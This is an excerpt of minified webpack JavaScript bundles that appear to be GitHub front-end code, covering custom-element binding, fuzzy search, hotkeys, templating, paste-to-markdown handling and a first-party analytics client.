c=!1,s=b-1,t=w-1;s>=0;s--)for(;t>=0;t--)if(e[s][t]!==h&&(c||e[s][t]===n[s][t])){c=s&&t&&n[s][t]===e[s-1][t-1]+u,v[s]=t--;break}return v}i(R,"positions");function x(y,S){y=y.toLowerCase(),S=S.toLowerCase();for(var b=y.length,w=0,v=0;w{C.d(F,{Lj:()=>x,Ih:()=>c,fA:()=>P,GO:()=>I});const h=new WeakSet;function E(t){h.add(t),t.shadowRoot&&_(t.shadowRoot),u(t),p(t.ownerDocument)}i(E,"bind");function _(t){u(t),p(t)}i(_,"bindShadow");const l=new WeakMap;function p(t=document){if(l.has(t))return l.get(t);let o=!1;const d=new MutationObserver(k=>{for(const N of k)if(N.type==="attributes"&&N.target instanceof Element)a(N.target);else if(N.type==="childList"&&N.addedNodes.length)for(const L of N.addedNodes)L instanceof Element&&u(L)});d.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const m={get closed(){return o},unsubscribe(){o=!0,l.delete(t),d.disconnect()}};return l.set(t,m),m}i(p,"listenForBind");function u(t){for(const o of t.querySelectorAll("[data-action]"))a(o);t instanceof Element&&t.hasAttribute("data-action")&&a(t)}i(u,"bindElements");function g(t){const o=t.currentTarget;for(const d of r(o))if(t.type===d.type){const m=o.closest(d.tag);h.has(m)&&typeof m[d.method]=="function"&&m[d.method](t);const k=o.getRootNode();if(k instanceof ShadowRoot&&h.has(k.host)&&k.host.matches(d.tag)){const N=k.host;typeof N[d.method]=="function"&&N[d.method](t)}}}i(g,"handleEvent");function*r(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const d=o.lastIndexOf(":"),m=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,d),tag:o.slice(d+1,m),method:o.slice(m+1)||"handleEvent"}}}i(r,"bindings");function a(t){for(const o of r(t))t.addEventListener(o.type,g)}i(a,"bindActions");function f(t,o){const d=t.tagName.toLowerCase();if(t.shadowRoot){for(const m of t.shadowRoot.querySelectorAll(`[data-target~="${d}.${o}"]`))if(!m.closest(d))return m}for(const m of t.querySelectorAll(`[data-target~="${d}.${o}"]`))if(m.closest(d)===t)return m}i(f,"findTarget");function A(t,o){const d=t.tagName.toLowerCase(),m=[];if(t.shadowRoot)for(const k of t.shadowRoot.querySelectorAll(`[data-targets~="${d}.${o}"]`))k.closest(d)||m.push(k);for(const k of t.querySelectorAll(`[data-targets~="${d}.${o}"]`))k.closest(d)===t&&m.push(k);return m}i(A,"findTargets");function P(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return f(this,o)}})}i(P,"target");function I(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return A(this,o)}})}i(I,"targets");function T(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}i(T,"register");function M(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(M,"autoShadowRoot");const R=new WeakMap;function x(t,o){R.has(t)||R.set(t,[]),R.get(t).push(o)}i(x,"attr");function y(t,o){o||(o=S(Object.getPrototypeOf(t)));for(const d of o){const m=t[d],k=b(d);let N={configurable:!0,get(){return this.getAttribute(k)||""},set(L){this.setAttribute(k,L||"")}};typeof m=="number"?N={configurable:!0,get(){return Number(this.getAttribute(k)||0)},set(L){this.setAttribute(k,L)}}:typeof m=="boolean"&&(N={configurable:!0,get(){return this.hasAttribute(k)},set(L){this.toggleAttribute(k,L)}}),Object.defineProperty(t,d,N),d in t&&!t.hasAttribute(k)&&N.set.call(t,m)}}i(y,"initializeAttrs");function S(t){const o=new Set;let d=t;for(;d&&d!==HTMLElement;){const m=R.get(d)||[];for(const k of m)o.add(k);d=Object.getPrototypeOf(d)}return o}i(S,"getAttrNames");function b(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(b,"attrToAttributeName");function w(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...S(t.prototype)].map(b).concat(o)},set(d){o=d}})}i(w,"defineObservedAttributes");const v=new WeakSet;function s(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),v.add(t),M(t),y(t),E(t),o&&o.call(t),t.shadowRoot&&_(t.shadowRoot)}i(s,"initializeInstance");function e(t){w(t),T(t)}i(e,"initializeClass");function n(t){return v.has(t)}i(n,"initialized");function c(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){s(this,o)},e(t)}i(c,"controller")},33241:(O,F,C)=>{C.d(F,{BX:()=>u,Z4:()=>_,ck:()=>p});var h=C(47142),E=C(80425);class _{constructor(r,a,f){this.providers=[],this.scopeType="static_items_page",this.title=r,this.scopeId=a,this.providers=[new l(f)]}}i(_,"StaticItemsPage");class l{constructor(r){this.hasCommands=!0,this.debounce=0;const a=r.length;this.items=r.map((f,A)=>(f.priority=a-A,f))}async fetch(r){return{results:this.fuzzyFilter(this.items,r)}}enabledFor(){return!0}clearCache(){}fuzzyFilter(r,a,f=0){if(a.isBlank())return r;const A=[];for(const P of r)P.calculateScore(a.text)>f&&A.push(P);return A}}i(l,"StaticItemsProvider");class p{constructor(r){this.score=0,this.position="",this.title=r.title,this.priority=r.priority,this.group=r.group,this.subtitle=r.subtitle,this.matchFields=r.matchFields,this.typeahead=r.typeahead,this.hint=r.hint,this.icon=r.icon}get matchingFields(){return this.matchFields?this.matchFields:[this.title]}get key(){var r;return`${this.title}-${this.group}-${this.subtitle}-${(r=this.matchFields)==null?void 0:r.join("-")}`}get id(){return this._id||(this._id=(0,E.k)(this.key).toString()),this._id}calculateScore(r){const a=this.matchingFields.map(f=>this.calculateScoreForField({field:f,queryText:r}));return Math.max(...a)}calculateScoreForField({field:r,queryText:a}){return(0,h.CD)(a,r)?(0,h.Gs)(a,r):-1/0}}i(p,"Item");class u{fuzzyFilter(r,a,f=0){if(a.isBlank())return r;const A=[];for(const P of r)P.calculateScore(a.text)>f&&A.push(P);return A}}i(u,"ProviderBase")},86058:(O,F,C)=>{C.d(F,{R:()=>g});function h(){let r;try{r=window.top.document.referrer}catch{if(window.parent)try{r=window.parent.document.referrer}catch{}}return r===""&&(r=document.referrer),r}i(h,"getReferrer");function E(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}i(E,"getScreenResolution");function _(){let r=0,a=0;try{return typeof window.innerWidth=="number"?(a=window.innerWidth,r=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(a=document.documentElement.clientWidth,r=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(a=document.body.clientWidth,r=document.body.clientHeight),`${a}x${r}`}catch{return"unknown"}}i(_,"getBrowserResolution");function l(){return navigator.languages?navigator.languages.join(","):navigator.language||""}i(l,"getBrowserLanguages");function p(){return{referrer:h(),user_agent:navigator.userAgent,screen_resolution:E(),browser_resolution:_(),browser_languages:l(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}i(p,"getRequestContext");var u=C(82918);class g{constructor(a){this.options=a}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(a){return{page:location.href,title:document.title,context:{...this.options.baseContext,...a}}}sendPageView(a){const f=this.createEvent(a);this.send({page_views:[f]})}sendEvent(a,f){const A={...this.createEvent(f),type:a};this.send({events:[A]})}send({page_views:a,events:f}){const A={client_id:this.clientId,page_views:a,events:f,request_context:p()},P=JSON.stringify(A);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,P);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:P,keepalive:!1})}}i(g,"AnalyticsClient")},82918:(O,F,C)=>{C.d(F,{b:()=>p});let h;function E(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}i(E,"generateClientId");function _(u){const g=`GH1.1.${u}`,r=Date.now(),a=new Date(r+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${g}; expires=${a}; path=/; domain=${f}; secure; samesite=lax`}i(_,"setClientIdCookie");function l(){let u;const r=document.cookie.match(/_octo=([^;]+)/g);if(!r)return;let a=[0,0];for(const f of r){const[,A]=f.split("="),[,P,...I]=A.split("."),T=P.split("-").map(Number);T>a&&(a=T,u=I.join("."))}return u}i(l,"getClientIdFromCookie");function p(){try{const u=l();if(u)return u;const g=E();return _(g),g}catch{return h||(h=E()),h}}i(p,"getOrCreateClientId")},88149:(O,F,C)=>{C.d(F,{n:()=>h});function h(E="ha"){let _;const l={},p=document.head.querySelectorAll(`meta[name^="${E}-"]`);for(const u of Array.from(p)){const{name:g,content:r}=u,a=g.replace(`${E}-`,"").replace(/-/g,"_");a==="url"?_=r:l[a]=r}if(!_)throw new Error(`AnalyticsClient ${E}-url meta tag not found`);return{collectorUrl:_,...Object.keys(l).length>0?{baseContext:l}:{}}}i(h,"getOptionsFromMeta")},38772:(O,F,C)=>{C.d(F,{dy:()=>S,sY:()=>b,Au:()=>s});var h=C(69567);const E=new WeakSet;function _(e){return E.has(e)}i(_,"isDirective");function l(e,n){return _(n)?(n(e),!0):!1}i(l,"processDirective");function p(e){return(...n)=>{const c=e(...n);return E.add(c),c}}i(p,"directive");const u=new WeakMap;class g{constructor(n,c){this.element=n,this.type=c,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(n){typeof n=="function"?this.handleEvent=n.bind(this.element):typeof n=="object"&&typeof n.handleEvent=="function"?this.handleEvent=n.handleEvent.bind(n):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(n){u.has(n.element)||u.set(n.element,new Map);const c=n.attributeName.slice(2),t=u.get(n.element);return t.has(c)?t.get(c):new g(n.element,c)}}i(g,"EventHandler");function r(e,n){return e instanceof h.sV&&e.attributeName.startsWith("on")?(g.for(e).set(n),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}i(r,"processEvent");function a(e,n){return n instanceof x&&e instanceof h.GZ?(n.renderInto(e),!0):!1}i(a,"processSubTemplate");function f(e,n){return n instanceof DocumentFragment&&e instanceof h.GZ?(n.childNodes.length&&e.replace(...n.childNodes),!0):!1}i(f,"processDocumentFragment");function A(e){return typeof e=="object"&&Symbol.iterator in e}i(A,"isIterable");function P(e,n){if(!A(n))return!1;if(e instanceof h.GZ){const c=[];for(const t of n)if(t instanceof x){const o=document.createDocumentFragment();t.renderInto(o),c.push(...o.childNodes)}else t instanceof DocumentFragment?c.push(...t.childNodes):c.push(String(t));return c.length&&e.replace(...c),!0}else return e.value=Array.from(n).join(" "),!0}i(P,"processIterable");function I(e,n){l(e,n)||(0,h.W_)(e,n)||r(e,n)||a(e,n)||f(e,n)||P(e,n)||(0,h.Al)(e,n)}i(I,"processPart");const T=new WeakMap,M=new WeakMap,R=new WeakMap;class x{constructor(n,c,t){this.strings=n,this.values=c,this.processor=t}get template(){if(T.has(this.strings))return T.get(this.strings);{const n=document.createElement("template"),c=this.strings.length-1;return n.innerHTML=this.strings.reduce((t,o,d)=>t+o+(dn=>{w.has(n)||w.set(n,{i:e.length});const c=w.get(n);for(let t=0;t{tn=>{if(!(n instanceof h.GZ))return;const c=document.createElement("template");c.innerHTML=e;const t=document.importNode(c.content,!0);n.replace(...t.childNodes)})},15205:(O,F,C)=>{C.d(F,{Z:()=>E});function h(..._){return JSON.stringify(_,(l,p)=>typeof p=="object"?p:String(p))}i(h,"defaultHash");function E(_,l={}){const{hash:p=h,cache:u=new Map}=l;return function(...g){const r=p.apply(this,g);if(u.has(r))return u.get(r);let a=_.apply(this,g);return a instanceof Promise&&(a=a.catch(f=>{throw u.delete(r),f})),u.set(r,a),a}}i(E,"memoize")},69567:(O,F,C)=>{C.d(F,{sV:()=>u,GZ:()=>A,R:()=>v,AQ:()=>P,W_:()=>T,Al:()=>I,XK:()=>R});function*h(s){let e="",n=0,c=!1;for(let t=0;ttypeof c=="string"?c:c.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,n)}}}i(g,"AttributeValueSetter");var r=function(s,e,n){if(!e.has(s))throw new TypeError("attempted to set private field on non-instance");return e.set(s,n),n},a=function(s,e){if(!e.has(s))throw new TypeError("attempted to get private field on non-instance");return e.get(s)},f;class A{constructor(e,n){this.expression=n,f.set(this,void 0),r(this,f,[e]),e.textContent=""}get value(){return a(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return a(this,f)[0].previousSibling}get nextSibling(){return a(this,f)[a(this,f).length-1].nextSibling}replace(...e){const n=e.map(c=>typeof c=="string"?new Text(c):c);n.length||n.push(new Text("")),a(this,f)[0].before(...n);for(const c of a(this,f))c.remove();r(this,f,n)}}i(A,"NodeTemplatePart"),f=new WeakMap;function P(s){return{createCallback(e,n,c){this.processCallback(e,n,c)},processCallback(e,n,c){var t;if(!(typeof c!="object"||!c)){for(const o of n)if(o.expression in c){const d=(t=c[o.expression])!==null&&t!==void 0?t:"";s(o,d)}}}}}i(P,"createProcessor");function I(s,e){s.value=String(e)}i(I,"processPropertyIdentity");function T(s,e){return typeof e=="boolean"&&s instanceof u&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=e,!0):!1}i(T,"processBooleanAttribute");const M=P(I),R=P((s,e)=>{T(s,e)||I(s,e)});var x=function(s,e,n){if(!e.has(s))throw new TypeError("attempted to set private field on non-instance");return e.set(s,n),n},y=function(s,e){if(!e.has(s))throw new TypeError("attempted to get private field on non-instance");return e.get(s)},S,b;function*w(s){const e=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let n;for(;n=e.nextNode();)if(n instanceof Element&&n.hasAttributes())for(let c=0;c{var D=Object.defineProperty;var c=(x,C)=>D(x,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"],{46263:(x,C,N)=>{N.d(C,{D:()=>b,P:()=>p});function p(_,m=0,{start:y=!0,middle:u=!0,once:w=!1}={}){let h=0,l,f=!1;function v(...k){if(f)return;const T=Date.now()-h;h=Date.now(),y?(y=!1,_.apply(this,k),w&&v.cancel()):(u&&T{h=Date.now(),_.apply(this,k),w&&v.cancel()},u?m-T:m))}return c(v,"fn"),v.cancel=()=>{clearTimeout(l),f=!0},v}c(p,"throttle");function b(_,m=0,{start:y=!1,middle:u=!1,once:w=!1}={}){return p(_,m,{start:y,middle:u,once:w})}c(b,"debounce")},11793:(x,C,N)=>{N.d(C,{EL:()=>u,N9:()=>W,Tz:()=>S});class p{constructor(o){this.children=[],this.parent=o}delete(o){const r=this.children.indexOf(o);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(o){return this.children.push(o),this}}c(p,"Leaf");class b{constructor(o){this.parent=null,this.children={},this.parent=o||null}get(o){return this.children[o]}insert(o){let r=this;for(let g=0;gd.filter(n=>n!=="")).filter(d=>d.length>0)}c(y,"expandHotkeyToEdges");function u(a){const{ctrlKey:o,altKey:r,metaKey:g,key:d}=a,n=[],e=[o,r,g,h(a)];for(const[t,i]of e.entries())i&&n.push(w[t]);return w.includes(d)||n.push(d),n.join("+")}c(u,"hotkey");const w=["Control","Alt","Meta","Shift"];function h(a){const{shiftKey:o,code:r,key:g}=a;return o&&!(r.startsWith("Key")&&g.toUpperCase()===g)}c(h,"showShift");const l=new b,f=new WeakMap;let v=l,k=null,T=[];function P(){T=[],k=null,v=l}c(P,"resetTriePosition");function I(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}k!=null&&window.clearTimeout(k),k=window.setTimeout(P,1500);const o=v.get(u(a));if(!o){P();return}if(T.push(u(a)),v=o,o instanceof p){const r=a.target;let g=!1,d;const n=_(r);for(let e=o.children.length-1;e>=0;e-=1){d=o.children[e];const t=d.getAttribute("data-hotkey-scope");if(!n&&!t||n&&r.id===t){g=!0;break}}d&&g&&(m(d,T),a.preventDefault()),P()}}c(I,"keyDownHandler");function W(a,o){Object.keys(l.children).length===0&&document.addEventListener("keydown",I);const g=y(o||a.getAttribute("data-hotkey")||"").map(d=>l.insert(d).add(a));f.set(a,g)}c(W,"install");function S(a){const o=f.get(a);if(o&&o.length)for(const r of o)r&&r.delete(a);Object.keys(l.children).length===0&&document.removeEventListener("keydown",I)}c(S,"uninstall")},86058:(x,C,N)=>{N.d(C,{R:()=>w});function p(){let h;try{h=window.top.document.referrer}catch{if(window.parent)try{h=window.parent.document.referrer}catch{}}return h===""&&(h=document.referrer),h}c(p,"getReferrer");function b(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}c(b,"getScreenResolution");function _(){let h=0,l=0;try{return typeof window.innerWidth=="number"?(l=window.innerWidth,h=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(l=document.documentElement.clientWidth,h=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(l=document.body.clientWidth,h=document.body.clientHeight),`${l}x${h}`}catch{return"unknown"}}c(_,"getBrowserResolution");function m(){return navigator.languages?navigator.languages.join(","):navigator.language||""}c(m,"getBrowserLanguages");function y(){return{referrer:p(),user_agent:navigator.userAgent,screen_resolution:b(),browser_resolution:_(),browser_languages:m(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}c(y,"getRequestContext");var u=N(82918);class w{constructor(l){this.options=l}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(l){return{page:location.href,title:document.title,context:{...this.options.baseContext,...l}}}sendPageView(l){const f=this.createEvent(l);this.send({page_views:[f]})}sendEvent(l,f){const v={...this.createEvent(f),type:l};this.send({events:[v]})}send({page_views:l,events:f}){const v={client_id:this.clientId,page_views:l,events:f,request_context:y()},k=JSON.stringify(v);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,k);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:k,keepalive:!1})}}c(w,"AnalyticsClient")},82918:(x,C,N)=>{N.d(C,{b:()=>y});let p;function b(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}c(b,"generateClientId");function _(u){const w=`GH1.1.${u}`,h=Date.now(),l=new Date(h+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${w}; expires=${l}; path=/; domain=${f}; secure; samesite=lax`}c(_,"setClientIdCookie");function m(){let u;const h=document.cookie.match(/_octo=([^;]+)/g);if(!h)return;let l=[0,0];for(const f of h){const[,v]=f.split("="),[,k,...T]=v.split("."),P=k.split("-").map(Number);P>l&&(l=P,u=T.join("."))}return u}c(m,"getClientIdFromCookie");function y(){try{const u=m();if(u)return u;const w=b();return _(w),w}catch{return p||(p=b()),p}}c(y,"getOrCreateClientId")},88149:(x,C,N)=>{N.d(C,{n:()=>p});function p(b="ha"){let _;const m={},y=document.head.querySelectorAll(`meta[name^="${b}-"]`);for(const u of Array.from(y)){const{name:w,content:h}=u,l=w.replace(`${b}-`,"").replace(/-/g,"_");l==="url"?_=h:m[l]=h}if(!_)throw new Error(`AnalyticsClient ${b}-url meta tag not found`);return{collectorUrl:_,...Object.keys(m).length>0?{baseContext:m}:{}}}c(p,"getOptionsFromMeta")},38772:(x,C,N)=>{N.d(C,{dy:()=>o,sY:()=>r,Au:()=>n});var p=N(69567);const b=new WeakSet;function _(e){return b.has(e)}c(_,"isDirective");function m(e,t){return _(t)?(t(e),!0):!1}c(m,"processDirective");function y(e){return(...t)=>{const i=e(...t);return b.add(i),i}}c(y,"directive");const u=new WeakMap;class w{constructor(t,i){this.element=t,this.type=i,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(t){typeof t=="function"?this.handleEvent=t.bind(this.element):typeof t=="object"&&typeof t.handleEvent=="function"?this.handleEvent=t.handleEvent.bind(t):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(t){u.has(t.element)||u.set(t.element,new Map);const i=t.attributeName.slice(2),s=u.get(t.element);return s.has(i)?s.get(i):new w(t.element,i)}}c(w,"EventHandler");function h(e,t){return e instanceof p.sV&&e.attributeName.startsWith("on")?(w.for(e).set(t),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}c(h,"processEvent");function l(e,t){return t instanceof S&&e instanceof p.GZ?(t.renderInto(e),!0):!1}c(l,"processSubTemplate");function f(e,t){return t instanceof DocumentFragment&&e instanceof p.GZ?(t.childNodes.length&&e.replace(...t.childNodes),!0):!1}c(f,"processDocumentFragment");function v(e){return typeof e=="object"&&Symbol.iterator in e}c(v,"isIterable");function k(e,t){if(!v(t))return!1;if(e instanceof p.GZ){const i=[];for(const s of t)if(s instanceof S){const E=document.createDocumentFragment();s.renderInto(E),i.push(...E.childNodes)}else s instanceof DocumentFragment?i.push(...s.childNodes):i.push(String(s));return i.length&&e.replace(...i),!0}else return e.value=Array.from(t).join(" "),!0}c(k,"processIterable");function T(e,t){m(e,t)||(0,p.W_)(e,t)||h(e,t)||l(e,t)||f(e,t)||k(e,t)||(0,p.Al)(e,t)}c(T,"processPart");const P=new WeakMap,I=new WeakMap,W=new WeakMap;class S{constructor(t,i,s){this.strings=t,this.values=i,this.processor=s}get template(){if(P.has(this.strings))return P.get(this.strings);{const t=document.createElement("template"),i=this.strings.length-1;return t.innerHTML=this.strings.reduce((s,E,F)=>s+E+(Ft=>{g.has(t)||g.set(t,{i:e.length});const i=g.get(t);for(let s=0;s{st=>{if(!(t instanceof p.GZ))return;const i=document.createElement("template");i.innerHTML=e;const s=document.importNode(i.content,!0);t.replace(...s.childNodes)})},69567:(x,C,N)=>{N.d(C,{sV:()=>u,GZ:()=>v,R:()=>d,AQ:()=>k,W_:()=>P,Al:()=>T,XK:()=>W});function*p(n){let e="",t=0,i=!1;for(let s=0;stypeof i=="string"?i:i.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,t)}}}c(w,"AttributeValueSetter");var h=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},l=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},f;class v{constructor(e,t){this.expression=t,f.set(this,void 0),h(this,f,[e]),e.textContent=""}get value(){return l(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return l(this,f)[0].previousSibling}get nextSibling(){return l(this,f)[l(this,f).length-1].nextSibling}replace(...e){const t=e.map(i=>typeof i=="string"?new Text(i):i);t.length||t.push(new Text("")),l(this,f)[0].before(...t);for(const i of l(this,f))i.remove();h(this,f,t)}}c(v,"NodeTemplatePart"),f=new WeakMap;function k(n){return{createCallback(e,t,i){this.processCallback(e,t,i)},processCallback(e,t,i){var s;if(!(typeof i!="object"||!i)){for(const E of t)if(E.expression in i){const F=(s=i[E.expression])!==null&&s!==void 0?s:"";n(E,F)}}}}}c(k,"createProcessor");function T(n,e){n.value=String(e)}c(T,"processPropertyIdentity");function P(n,e){return typeof e=="boolean"&&n instanceof u&&typeof n.element[n.attributeName]=="boolean"?(n.booleanValue=e,!0):!1}c(P,"processBooleanAttribute");const I=k(T),W=k((n,e)=>{P(n,e)||T(n,e)});var S=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},a=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},o,r;function*g(n){const e=n.ownerDocument.createTreeWalker(n,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let t;for(;t=e.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let i=0;i{var he=Object.defineProperty;var i=(N,M)=>he(N,"name",{value:M,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537"],{52769:(N,M,E)=>{"use strict";E.d(M,{Ld:()=>oe});function b(f,y){var k,C,O;const q=f.value.slice(0,(k=f.selectionStart)!==null&&k!==void 0?k:void 0),Y=f.value.slice((C=f.selectionEnd)!==null&&C!==void 0?C:void 0);let J=!0;f.contentEditable="true";try{J=document.execCommand("insertText",!1,y)}catch{J=!1}if(f.contentEditable="false",J&&!f.value.slice(0,(O=f.selectionStart)!==null&&O!==void 0?O:void 0).endsWith(y)&&(J=!1),!J){try{document.execCommand("ms-beginUndoUnit")}catch{}f.value=q+y+Y;try{document.execCommand("ms-endUndoUnit")}catch{}f.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))}}i(b,"insertText");const _=new WeakMap;function h(f){const{currentTarget:y}=f,k=f.code==="KeyV"&&(f.ctrlKey||f.metaKey)&&f.shiftKey;(k||k&&f.altKey)&&_.set(y,!0)}i(h,"setSkipFormattingFlag");function v(f){const{currentTarget:y}=f;_.delete(y)}i(v,"unsetSkipFormattedFlag");function e(f){var y;return(y=_.get(f))!==null&&y!==void 0?y:!1}i(e,"shouldSkipFormatting");function o(f,...y){f.addEventListener("keydown",h);for(const k of y)k(f);f.addEventListener("paste",v)}i(o,"installAround");function t(f){f.removeEventListener("keydown",h),f.removeEventListener("paste",v)}i(t,"uninstall$5");function n(f){f.addEventListener("paste",l)}i(n,"install$4");function r(f){f.removeEventListener("paste",l)}i(r,"uninstall$4");function l(f){const y=f.clipboardData,{currentTarget:k}=f;if(e(k)||!y||!c(y))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;let O=y.getData("text/plain");const q=y.getData("text/html"),Y=q.replace(/\u00A0/g," ").replace(/\uC2A0/g," ");if(!q||(O=O.trim(),!O))return;const Z=new DOMParser().parseFromString(Y,"text/html"),Q=Z.createTreeWalker(Z.body,NodeFilter.SHOW_ELEMENT,fe=>fe.parentNode&&s(fe.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT),se=u(O,Q);se!==O&&(f.stopPropagation(),f.preventDefault(),b(C,se))}i(l,"onPaste$4");function u(f,y){var k;let C=y.firstChild(),O=f,q=0,Y=0;const J=1e4;for(;C&&Y=0)if(s(C)){const se=m(C,Z);O=O.slice(0,Q)+se+O.slice(Q+Z.length),q=Q+se.length}else q=Q+Z.length;C=y.nextNode()}return Y===J?f:O}i(u,"convertToMarkdown");function a(f){return!f||(f==null?void 0:f.trim().length)===0}i(a,"isEmptyString");function s(f){var y;return((y=f.tagName)===null||y===void 0?void 0:y.toLowerCase())==="a"&&f.hasAttribute("href")}i(s,"isLink");function c(f){return f.types.includes("text/html")}i(c,"hasHTML");function m(f,y){const k=f.href||"";let C="";return g(f)?C=y:d(f)||p(k,y)?C=k:C=`[${y}](${k})`,C}i(m,"linkify$2");function d(f){return f.className.indexOf("commit-link")>=0||!!f.getAttribute("data-hovercard-type")&&f.getAttribute("data-hovercard-type")!=="user"}i(d,"isSpecialLink");function p(f,y){return f=f.slice(-1)==="/"?f.slice(0,-1):f,y=y.slice(-1)==="/"?y.slice(0,-1):y,f.toLowerCase()===y.toLowerCase()}i(p,"areEqualLinks");function g(f){var y;return((y=f.textContent)===null||y===void 0?void 0:y.slice(0,1))==="@"&&f.getAttribute("data-hovercard-type")==="user"}i(g,"isUserMention");function w(f){f.addEventListener("dragover",$),f.addEventListener("drop",I),f.addEventListener("paste",z)}i(w,"install$3");function x(f){f.removeEventListener("dragover",$),f.removeEventListener("drop",I),f.removeEventListener("paste",z)}i(x,"uninstall$3");function I(f){const y=f.dataTransfer;if(!y||ee(y)||!te(y))return;const k=ne(y);if(!k.some(T))return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k.map(X).join(""))}i(I,"onDrop$1");function $(f){const y=f.dataTransfer;y&&(y.dropEffect="link")}i($,"onDragover$1");function z(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!te(k))return;const C=ne(k);if(!C.some(T))return;f.stopPropagation(),f.preventDefault();const O=f.currentTarget;O instanceof HTMLTextAreaElement&&b(O,C.map(X).join(""))}i(z,"onPaste$3");function X(f){return T(f)?` +![](${f}) +`:f}i(X,"linkify$1");function ee(f){return Array.from(f.types).indexOf("Files")>=0}i(ee,"hasFile$1");function te(f){return Array.from(f.types).indexOf("text/uri-list")>=0}i(te,"hasLink");function ne(f){return(f.getData("text/uri-list")||"").split(`\r +`)}i(ne,"extractLinks");const P=/\.(gif|png|jpe?g)$/i;function T(f){return P.test(f)}i(T,"isImageLink");function A(f){f.addEventListener("paste",S)}i(A,"install$2");function R(f){f.removeEventListener("paste",S)}i(R,"uninstall$2");function S(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!F(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/plain");if(!O||!H(O)||D(C))return;const q=C.value.substring(C.selectionStart,C.selectionEnd);!q.length||H(q.trim())||(f.stopPropagation(),f.preventDefault(),b(C,U(q,O)))}i(S,"onPaste$2");function F(f){return Array.from(f.types).includes("text/plain")}i(F,"hasPlainText");function D(f){const y=f.selectionStart||0;return 